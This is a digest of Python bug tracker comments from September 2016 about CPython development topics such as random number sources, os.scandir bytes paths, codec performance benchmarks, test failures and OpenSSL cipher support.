Subject: [issue26970] Replace OpenSSL's CPRNG with system entropy source
In-Reply-To: <1462525827.05.0.33480267606.issue26970@psf.upfronthosting.co.za>
Message-ID: <1473221907.38.0.0176028751527.issue26970@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Christian, is this still a change you'd like to make for 3.6?

(I don't recall seeing it in your list of pending ssl modules patches)

----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26970>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:21:18 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:21:18 +0000
Subject: [issue15206] uuid module falls back to unsuitable RNG
In-Reply-To: <1340805699.85.0.817571094699.issue15206@psf.upfronthosting.co.za>
Message-ID: <1473222078.92.0.363440537105.issue15206@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Given the introduction of the secrets module in 3.6, perhaps uuid could be updated to fall back to that rather than to the random module and leave older versions unmodified?

----------
nosy: +ncoghlan
versions: +Python 3.6 -Python 3.2, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15206>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:22:56 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 04:22:56 +0000
Subject: [issue27968] test_coroutines generates some warnings
In-Reply-To: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>
Message-ID: <1473222176.37.0.215613901692.issue27968@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I only have a Mac to test -- does anyone else on this issue have a Linux system to try to reproduce this?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:25:38 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 04:25:38 +0000
Subject: [issue27968] test_coroutines generates some warnings
In-Reply-To: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>
Message-ID: <1473222338.31.0.919981833977.issue27968@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

NM I get the same on Mac after rebuilding from scratch. I can repro this with the 3.5 branch too. Wonder if something changed in asyncio?

----------
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:28:42 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:28:42 +0000
Subject: [issue12754] Add alternative random number generators
In-Reply-To: <1313449307.14.0.643454119212.issue12754@psf.upfronthosting.co.za>
Message-ID: <1473222522.08.0.345903387633.issue12754@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Since this issue was opened, a few relevant changes have been made:

* firstly the random.SystemRandom API and subsequently the "secrets" module were added to provide ready access to the operating system's cryptographically secure PRNG. This addresses the "At least one of the new generators should be cryptographically strong" consideration in Raymond's original proposal
* secondly, the ensurepip module has been added and various other improvements to Python's 3rd party software distribution infrastructure have been made, lowering the barriers to retrieving alternate modelling and simulation RNGs from PyPI for folks that need or want them

Given those changes, would it make sense to close this enhancement proposal as out of date?

----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12754>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:30:09 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:30:09 +0000
Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux
In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za>
Message-ID: <1473222609.8.0.966972994832.issue27776@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I've reviewed all the open issues that come up when searching for "getrandom" on the issue tracker, and closed all the ones that were either out of date or rejected based on PEP 524 being accepted and implemented.

For the remainder, I either wasn't clear on whether they could be closed or not (in which case I posted a comment asking Victor to take a look at them), or else they were clearly still valid and I posted a relevant status update.

Doing a similar search for "urandom", I checked the ones where the titles seemed relevant and commented where a status update and possible closure seemed appropriate.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27776>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:30:11 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 07 Sep 2016 04:30:11 +0000
Subject: [issue27683] ipaddress subnet slicing iterator malfunction
In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za>
Message-ID: <1473222611.85.0.850786507469.issue27683@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

ping :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27683>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:30:19 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 04:30:19 +0000
Subject: [issue27968] test_coroutines generates some warnings
In-Reply-To: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>
Message-ID: <1473222619.37.0.0878827780682.issue27968@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Yury this smells of something in async/await?

----------
assignee:  -> yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:39:11 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:39:11 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>
Message-ID: <1473223151.65.0.381644527238.issue27990@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

It may be that the right fix is to build with more recent Linux header files, even when running the build on an older kernel, in which case the request would be to have a way to indicate that missing those particular headers should fail the build, rather than implicitly omitting os.getrandom().

Worst case, yeah, we'll have to patch Fedora's system Python to hardcode the necessary constants in order to cope with the way Koji's buildroots are currently set up. I hope it doesn't come to that, though.

I'll leave the specifics to Petr, but it would definitely be preferable to have a common way of solving this recommended by upstream rather than everyone affected needing to figure out how to solve the problem on their own.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:50:41 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 07 Sep 2016 04:50:41 +0000
Subject: [issue27968] test_coroutines generates some warnings
In-Reply-To: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>
Message-ID: <1473223841.92.0.736119531222.issue27968@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Run hg bisect and get 756c27efe193.

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Wed Sep  7 01:11:22 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 05:11:22 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1473225082.18.0.220314325484.issue18844@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

1. Returning a list instead of an iterator looks unpythonic to me. Values generated sequentially, there are no advantages of returning a list.

2. An implementation lacks optimizations used in my patch.

3. The documentation still contains a receipt for weighted choice. It is incompatible with new function.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Wed Sep  7 01:22:54 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Wed, 07 Sep 2016 05:22:54 +0000
Subject: [issue27976] Deprecate building with bundled copy of libffi on
 non-Darwin POSIX platforms
In-Reply-To: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>
Message-ID: <1473225774.84.0.366939144077.issue27976@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

That's great! issue26942 can be closed after this change is landed. It's caused by a libffi bug on Android.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Wed Sep  7 01:30:02 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Wed, 07 Sep 2016 05:30:02 +0000
Subject: [issue27997] ImportError should be raised consistently from import
 machinery.
In-Reply-To: <1473219332.87.0.127432469281.issue27997@psf.upfronthosting.co.za>
Message-ID: <1473226202.79.0.552906482007.issue27997@psf.upfronthosting.co.za>


Changes by Barry A. Warsaw <barry at python.org>:


----------
nosy: +barry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27997>
_______________________________________

From report at bugs.python.org  Wed Sep  7 01:32:42 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 05:32:42 +0000
Subject: [issue27782] Multi-phase extension module initialization,
 inconsistent exceptions and conflicts between code and PEP
In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za>
Message-ID: <1473226362.61.0.0282047146229.issue27782@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Xiang, if multi-phase initialisation is an area you're interested in, it occurs to me you may also want to take a look at Petr's proposal to provide efficient access to global module state from methods of extension types: https://mail.python.org/pipermail/import-sig/2016-August/001065.html

With the 3.6 feature freeze deadline imminent it's looking like that will be deferred to 3.7, but it's still a significant improvement that should encourage greater use of the newer more submodule and reloading friendly approach to C extension module initialisation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27782>
_______________________________________

From report at bugs.python.org  Wed Sep  7 01:44:31 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 05:44:31 +0000
Subject: [issue27731] Opt-out of MAX_PATH on Windows 10
In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za>
Message-ID: <1473227071.54.0.293562532646.issue27731@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27731>
_______________________________________

From report at bugs.python.org  Wed Sep  7 01:55:58 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Wed, 07 Sep 2016 05:55:58 +0000
Subject: [issue27988] email iter_attachments can mutate the payload
In-Reply-To: <1473213436.61.0.0831325497078.issue27988@psf.upfronthosting.co.za>
Message-ID: <1473227758.86.0.526020942241.issue27988@psf.upfronthosting.co.za>


Barry A. Warsaw added the comment:

LGTM +1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27988>
_______________________________________

From report at bugs.python.org  Wed Sep  7 01:55:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 05:55:59 +0000
Subject: [issue12754] Add alternative random number generators
In-Reply-To: <1313449307.14.0.643454119212.issue12754@psf.upfronthosting.co.za>
Message-ID: <1473227759.82.0.623293427483.issue12754@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I agree with what Nick wrote. It became easy to install a third-party module, and we made progress on APIs to get random bytes from the system.

I'm not convinced neither that Mersenne Twister limitations are important enough to replace it.

If you want to see enhancements in the domain of RNG, I suggest to reopen a more specific issue. This issue looks like a general discussion around RNG, not really a concrete change.

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12754>
_______________________________________

From report at bugs.python.org  Wed Sep  7 02:02:23 2016
From: report at bugs.python.org (Ofek Lev)
Date: Wed, 07 Sep 2016 06:02:23 +0000
Subject: [issue8800] add threading.RWLock
In-Reply-To: <1274694942.46.0.488506239249.issue8800@psf.upfronthosting.co.za>
Message-ID: <1473228143.45.0.997651145197.issue8800@psf.upfronthosting.co.za>


Ofek Lev added the comment:

What is the status of the patch?

----------
nosy: +Ofekmeister

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8800>
_______________________________________

From report at bugs.python.org  Wed Sep  7 02:03:31 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 06:03:31 +0000
Subject: [issue15206] uuid module falls back to unsuitable RNG
In-Reply-To: <1340805699.85.0.817571094699.issue15206@psf.upfronthosting.co.za>
Message-ID: <1473228211.13.0.420823862681.issue15206@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Given the introduction of the secrets module in 3.6, perhaps uuid could be updated to fall back to that rather than to the random module and leave older versions unmodified?

issue15206.patch catchs exceptions on random.SystemRandom error, but the secrets module also uses random.SystemRandom. I don't think that "fallback on secrets" makes sense here, or do I miss something?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15206>
_______________________________________

From report at bugs.python.org  Wed Sep  7 02:06:00 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 07 Sep 2016 06:06:00 +0000
Subject: [issue27782] Multi-phase extension module initialization,
 inconsistent exceptions and conflicts between code and PEP
In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za>
Message-ID: <1473228360.77.0.877457620815.issue27782@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Thanks for your notice, Nick. :) Of course I am interested. I'll start following import-sig and reading Petr's good idea.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27782>
_______________________________________

From report at bugs.python.org  Wed Sep  7 02:11:14 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 06:11:14 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473228674.89.0.365852205644.issue27137@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Attempting to apply this, I found that the pure Python fallback fails the new recursive repr tests added in https://bugs.python.org/issue25455

The recursive pickling test is also failing, but I suspect that may be due to an error in my attempt to apply parts of the patch manually after they failed to apply due to the #25455 changes.

Emanuel, would you be able to take another pass at this and resolve those inconsistencies? Otherwise I should be able to get to it on the weekend (and hence still in time for beta 1)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Wed Sep  7 02:33:49 2016
From: report at bugs.python.org (Chris Angelico)
Date: Wed, 07 Sep 2016 06:33:49 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473230029.77.0.0127398771063.issue27080@psf.upfronthosting.co.za>


Chris Angelico added the comment:

Another couple of tests, per comments.

----------
Added file: http://bugs.python.org/file44425/moar-tests.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Wed Sep  7 02:50:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 06:50:02 +0000
Subject: [issue25596] Use scandir() to speed up the glob module
In-Reply-To: <1447154287.89.0.207791672282.issue25596@psf.upfronthosting.co.za>
Message-ID: <20160907064959.584.27350.0AE6B96F@psf.io>


Roundup Robot added the comment:

New changeset 48e573e0a610 by Serhiy Storchaka in branch 'default':
Issue #25596: Falls back to listdir in glob for bytes paths on Windows.
https://hg.python.org/cpython/rev/48e573e0a610

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25596>
_______________________________________

From report at bugs.python.org  Wed Sep  7 03:00:19 2016
From: report at bugs.python.org (Chris Angelico)
Date: Wed, 07 Sep 2016 07:00:19 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473231619.43.0.846567353107.issue27322@psf.upfronthosting.co.za>


Chris Angelico added the comment:

Just ran into the same issue, but in a slightly different way, and with slightly different consequences. You can actually eliminate this failure by manually running compileall on the affected directory:

sudo python3 -m compileall /usr/local/lib/python3.6/site-packages

In other words, a test failure can come and go depending on the presence of other files on the system.

IMO the test should (a) restrict itself to directories within the build tree, and (b) call compile_path with force=True. That should make it more consistent. Something like the attached patch.

----------
keywords: +patch
nosy: +Rosuav
Added file: http://bugs.python.org/file44426/compile-nearly-all.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Wed Sep  7 03:31:54 2016
From: report at bugs.python.org (Cory Benfield)
Date: Wed, 07 Sep 2016 07:31:54 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473233514.77.0.258532671194.issue27850@psf.upfronthosting.co.za>


Cory Benfield added the comment:

> Future OpenSSLs don't affect Python 3.4, as Python 3.4 won't be upgraded to them.

Can I get a clarification on this, please, Larry? I just want to confirm I understand what your meaning is here.

My reading of this is that for OpenSSL Python defines a range of compatible sonames at the time of the first release in a series (e.g. 3.4.0), and then will never extend that in either direction for that release series. Put another way: patches to extend the supported OpenSSL versions are not acceptable in patch releases of Python.

Is that reading accurate?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Wed Sep  7 03:50:53 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Wed, 07 Sep 2016 07:50:53 +0000
Subject: [issue26896] mix-up with the terms 'importer', 'finder',
 'loader' in the import system and related code
In-Reply-To: <1462046496.61.0.778323150916.issue26896@psf.upfronthosting.co.za>
Message-ID: <1473234653.28.0.883864208804.issue26896@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

Hi Brett, I backported only portions of the patch some this issue that were applicable to the issue that I was fixing. I will backport remain portions so that everything will be consistent now.

----------
Added file: http://bugs.python.org/file44427/issue26896-3.3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26896>
_______________________________________

From report at bugs.python.org  Wed Sep  7 03:53:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 07:53:45 +0000
Subject: [issue26896] mix-up with the terms 'importer', 'finder',
 'loader' in the import system and related code
In-Reply-To: <1462046496.61.0.778323150916.issue26896@psf.upfronthosting.co.za>
Message-ID: <20160907075340.548.95397.B3F2630A@psf.io>


Roundup Robot added the comment:

New changeset 7537ca1c2aaf by Senthil Kumaran in branch '3.5':
[backport to 3.5] - issue26896 - Disambiguate uses of "importer" with "finder".
https://hg.python.org/cpython/rev/7537ca1c2aaf

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26896>
_______________________________________

From report at bugs.python.org  Wed Sep  7 03:53:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 07:53:45 +0000
Subject: [issue20842] pkgutil docs should reference glossary terms not PEP 302
In-Reply-To: <1393846400.67.0.723549613222.issue20842@psf.upfronthosting.co.za>
Message-ID: <20160907075340.548.16162.26E22B41@psf.io>


Roundup Robot added the comment:

New changeset a4360b1b45a8 by Senthil Kumaran in branch 'default':
issue20842 - null merge with 3.5
https://hg.python.org/cpython/rev/a4360b1b45a8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20842>
_______________________________________

From report at bugs.python.org  Wed Sep  7 03:58:31 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 07:58:31 +0000
Subject: [issue26032] Use scandir() to speed up pathlib globbing
In-Reply-To: <1452120927.04.0.31788168865.issue26032@psf.upfronthosting.co.za>
Message-ID: <20160907075822.14746.51135.95E502CB@psf.io>


Roundup Robot added the comment:

New changeset 927665c4aaab by Serhiy Storchaka in branch 'default':
Issue #26032: Optimized globbing in pathlib by using os.scandir(); it is now
https://hg.python.org/cpython/rev/927665c4aaab

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26032>
_______________________________________

From report at bugs.python.org  Wed Sep  7 04:08:11 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 08:08:11 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473235691.09.0.00331232166272.issue27963@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Wed Sep  7 04:11:52 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 07 Sep 2016 08:11:52 +0000
Subject: [issue7769] SimpleXMLRPCServer.SimpleXMLRPCServer.register_function
 as decorator
In-Reply-To: <1264337326.51.0.913533963705.issue7769@psf.upfronthosting.co.za>
Message-ID: <1473235912.74.0.522114504516.issue7769@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

> Also one side effect that I can not eliminate is when it is used as a normal function, the function instead of None is returned. I see the former patches get this problem too.

I think this does not matter after seeing functools.singledispatch. The versionadded tags should be changed to versionchanged in my last patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue7769>
_______________________________________

From report at bugs.python.org  Wed Sep  7 04:21:10 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 08:21:10 +0000
Subject: [issue27998] Add support of butes paths in os.scandir()
Message-ID: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Bytes paths are deprecated on Windows and their support was not added in os.scandir() for purpose. But this makes harder converting filesystem walking functions to use os.scandir(). We have to add a special case for bytes paths on Windows in every such function (os.walk(), glob.iglob()). This is cumbersome inefficient and errorprone code that slows down common case due to additional checks for special case. It would be better to add a support of bytes paths directly in os.scandir().

----------
components: Extension Modules, Windows
messages: 274778
nosy: benhoyt, haypo, paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Add support of butes paths in os.scandir()
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 04:21:47 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 08:21:47 +0000
Subject: [issue27998] Add support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473236507.39.0.509551308282.issue27998@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
title: Add support of butes paths in os.scandir() -> Add support of bytes paths in os.scandir()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 04:27:22 2016
From: report at bugs.python.org (Paul Moore)
Date: Wed, 07 Sep 2016 08:27:22 +0000
Subject: [issue27998] Add support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473236842.03.0.557568404001.issue27998@psf.upfronthosting.co.za>


Paul Moore added the comment:

In the light of Steve Dower's work to "un-deprecate" bytes paths, I agree this should be added.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 04:51:02 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 08:51:02 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1351291705.86.0.638624862326.issue16334@psf.upfronthosting.co.za>
Message-ID: <1473238262.98.0.659853089361.issue16334@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks Victor! I benchmarked your patch. There is no regression in comparison with my patch. In few cases your patch is even faster!

Unpatched    Patch v.4    Patch v.5

148 (+76%)   235 (+11%)   260    decode  unicode-escape  'A'*10000
197 (+30%)   257 (+0%)    257    decode  unicode-escape  '\x80'*10000
195 (+32%)   232 (+11%)   258    decode  unicode-escape    '\x80'+'A'*9999
227 (+39%)   308 (+2%)    315    decode  unicode-escape  '\u0100'*10000
197 (+56%)   241 (+27%)   307    decode  unicode-escape    '\u0100'+'A'*9999
201 (+35%)   264 (+3%)    271    decode  unicode-escape    '\u0100'+'\x80'*9999
227 (+39%)   308 (+2%)    315    decode  unicode-escape  '\u8000'*10000
197 (+56%)   241 (+27%)   307    decode  unicode-escape    '\u8000'+'A'*9999
201 (+35%)   264 (+3%)    271    decode  unicode-escape    '\u8000'+'\x80'*9999
227 (+39%)   308 (+2%)    315    decode  unicode-escape    '\u8000'+'\u0100'*9999
200 (+26%)   245 (+2%)    251    decode  unicode-escape  '\U00010000'*10000
192 (+38%)   230 (+15%)   265    decode  unicode-escape    '\U00010000'+'A'*9999
167 (+26%)   203 (+4%)    211    decode  unicode-escape    '\U00010000'+'\x80'*9999
194 (+31%)   248 (+2%)    254    decode  unicode-escape    '\U00010000'+'\u0100'*9999
194 (+31%)   247 (+3%)    254    decode  unicode-escape    '\U00010000'+'\u8000'*9999

197 (+9%)    214 (+0%)    215    decode  raw-unicode-escape  'A'*10000
197 (+9%)    214 (+0%)    214    decode  raw-unicode-escape  '\x80'*10000
197 (+9%)    214 (+0%)    214    decode  raw-unicode-escape    '\x80'+'A'*9999
216 (+68%)   365 (-1%)    363    decode  raw-unicode-escape  '\u0100'*10000
181 (+43%)   262 (-1%)    259    decode  raw-unicode-escape    '\u0100'+'A'*9999
181 (+43%)   264 (-2%)    258    decode  raw-unicode-escape    '\u0100'+'\x80'*9999
216 (+68%)   365 (-1%)    363    decode  raw-unicode-escape  '\u8000'*10000
181 (+43%)   261 (-1%)    259    decode  raw-unicode-escape    '\u8000'+'A'*9999
181 (+43%)   263 (-2%)    258    decode  raw-unicode-escape    '\u8000'+'\x80'*9999
216 (+68%)   365 (-1%)    363    decode  raw-unicode-escape    '\u8000'+'\u0100'*9999
245 (+29%)   313 (+1%)    315    decode  raw-unicode-escape  '\U00010000'*10000
211 (+10%)   195 (+19%)   232    decode  raw-unicode-escape    '\U00010000'+'A'*9999
211 (+10%)   195 (+19%)   233    decode  raw-unicode-escape    '\U00010000'+'\x80'*9999
192 (+51%)   287 (+1%)    289    decode  raw-unicode-escape    '\U00010000'+'\u0100'*9999
192 (+51%)   287 (+1%)    289    decode  raw-unicode-escape    '\U00010000'+'\u8000'*9999


269 (+73%)   424 (+10%)   465    encode  unicode-escape  'A'*10000
266 (+108%)  591 (-6%)    553    encode  unicode-escape  '\x80'*10000
298 (+55%)   423 (+9%)    463    encode  unicode-escape    '\x80'+'A'*9999
358 (+93%)   695 (-0%)    692    encode  unicode-escape  '\u0100'*10000
190 (+13%)   215 (+0%)    215    encode  unicode-escape    '\u0100'+'A'*9999
235 (+109%)  520 (-5%)    492    encode  unicode-escape    '\u0100'+'\x80'*9999
342 (+102%)  695 (-1%)    691    encode  unicode-escape  '\u8000'*10000
190 (+13%)   215 (+0%)    215    encode  unicode-escape    '\u8000'+'A'*9999
235 (+109%)  520 (-5%)    492    encode  unicode-escape    '\u8000'+'\x80'*9999
367 (+89%)   698 (-1%)    694    encode  unicode-escape    '\u8000'+'\u0100'*9999
531 (+124%)  915 (+30%)   1190   encode  unicode-escape  '\U00010000'*10000
196 (+20%)   235 (+0%)    236    encode  unicode-escape    '\U00010000'+'A'*9999
237 (+104%)  506 (-4%)    484    encode  unicode-escape    '\U00010000'+'\x80'*9999
325 (+111%)  681 (+1%)    687    encode  unicode-escape    '\U00010000'+'\u0100'*9999
325 (+117%)  681 (+3%)    704    encode  unicode-escape    '\U00010000'+'\u8000'*9999

578 (+853%)  5672 (-3%)   5507   encode  raw-unicode-escape  'A'*10000
578 (+731%)  4761 (+1%)   4806   encode  raw-unicode-escape  '\x80'*10000
581 (+760%)  5218 (-4%)   4995   encode  raw-unicode-escape    '\x80'+'A'*9999
365 (+96%)   714 (+0%)    714    encode  raw-unicode-escape  '\u0100'*10000
226 (+72%)   389 (+0%)    389    encode  raw-unicode-escape    '\u0100'+'A'*9999
226 (+72%)   389 (+0%)    389    encode  raw-unicode-escape    '\u0100'+'\x80'*9999
373 (+91%)   715 (-0%)    714    encode  raw-unicode-escape  '\u8000'*10000
226 (+72%)   389 (+0%)    389    encode  raw-unicode-escape    '\u8000'+'A'*9999
226 (+72%)   389 (+0%)    389    encode  raw-unicode-escape    '\u8000'+'\x80'*9999
366 (+96%)   718 (+0%)    719    encode  raw-unicode-escape    '\u8000'+'\u0100'*9999
537 (+110%)  879 (+28%)   1128   encode  raw-unicode-escape  '\U00010000'*10000
214 (+37%)   293 (+0%)    294    encode  raw-unicode-escape    '\U00010000'+'A'*9999
214 (+37%)   293 (+0%)    294    encode  raw-unicode-escape    '\U00010000'+'\x80'*9999
342 (+96%)   669 (+0%)    669    encode  raw-unicode-escape    '\U00010000'+'\u0100'*9999
342 (+96%)   669 (+0%)    669    encode  raw-unicode-escape    '\U00010000'+'\u8000'*9999

Could you please add NEWS and What's New entries?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Wed Sep  7 05:06:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 09:06:07 +0000
Subject: [issue26970] Replace OpenSSL's CPRNG with system entropy source
In-Reply-To: <1462525827.05.0.33480267606.issue26970@psf.upfronthosting.co.za>
Message-ID: <1473239167.4.0.269843993621.issue26970@psf.upfronthosting.co.za>


Christian Heimes added the comment:

No, it won't make it into 3.6. My patch is far from ready.

